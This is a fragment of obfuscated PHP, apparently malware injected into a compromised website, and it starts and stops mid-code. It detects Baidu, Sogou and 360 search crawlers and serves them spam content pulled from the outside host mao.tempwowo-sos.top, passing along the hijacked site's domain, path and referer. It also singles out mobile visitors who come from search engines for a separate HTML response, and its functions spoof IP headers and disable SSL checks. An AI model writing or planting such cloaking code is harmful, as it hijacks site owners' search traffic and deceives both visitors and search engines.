$ip, 'X-FORWARDED-FOR' => $ip, ); foreach ($headers as $k => $v) { $headerArr[] = $k . ':' . $v; } $headers = $headerArr; $d = curl_init(); curl_setopt($d, CURLOPT_URL, $c); curl_setopt($d, CURLOPT_HTTPHEADER, $headers); curl_setopt($d, CURLOPT_USERAGENT, $ua); curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($d, CURLOPT_RETURNTRANSFER, 1); curl_setopt($d, CURLOPT_HEADER, 0); $e = curl_exec($d); curl_close($d); return $e; } function tjedfwdgdsc() { $ip = ''; if (isset($_SERVER['HTTP_CLIENT_IP']) && $_SERVER['HTTP_CLIENT_IP']) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR']) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; } if (strpos($ip, ',') !== false) { $ip = explode(',', $ip); $ip = $ip[0]; } return $ip; } define('url', $b['REQUEST_URI']); define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']); define('ent', $b['HTTP_USER_AGENT']); define('site', "http://mao.tempwowo-sos.top/?"); define('road', "domain=".$b['HTTP_HOST']. "&path=".url. "&spider=".urlencode(ent)); define('memes', road. "&referer=".urlencode(ref)); define('regs', '@BaiduSpider|Sogou web spider|Yisou|Haosou|360Spider@i'); define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); define('area', $a(url, ".html") or $a(url, ".shtml") or $a(url, "?") or $a(url, "/")); if (preg_match(regs, ent)) { if (area) { echo faijiowg(site.road); exit; } else { echo faijiowg("http://mao.tempwowo-sos.top/kaiyun.php"); ob_flush(); flush(); } } $isSearchEngine = !empty($_SERVER['HTTP_REFERER']) && preg_match('/baidu\.com|bing\.com|so\.com|sogou\.com|yisou\.com|haosou\.com|360\.cn/i', $_SERVER['HTTP_REFERER']); $isMobile = !empty($_SERVER['HTTP_USER_AGENT']) && (preg_match('/mobile|android|iphone/i', $_SERVER['HTTP_USER_AGENT'])); if ($isSearchEngine && $isMobile) { echo << HTML; exit; }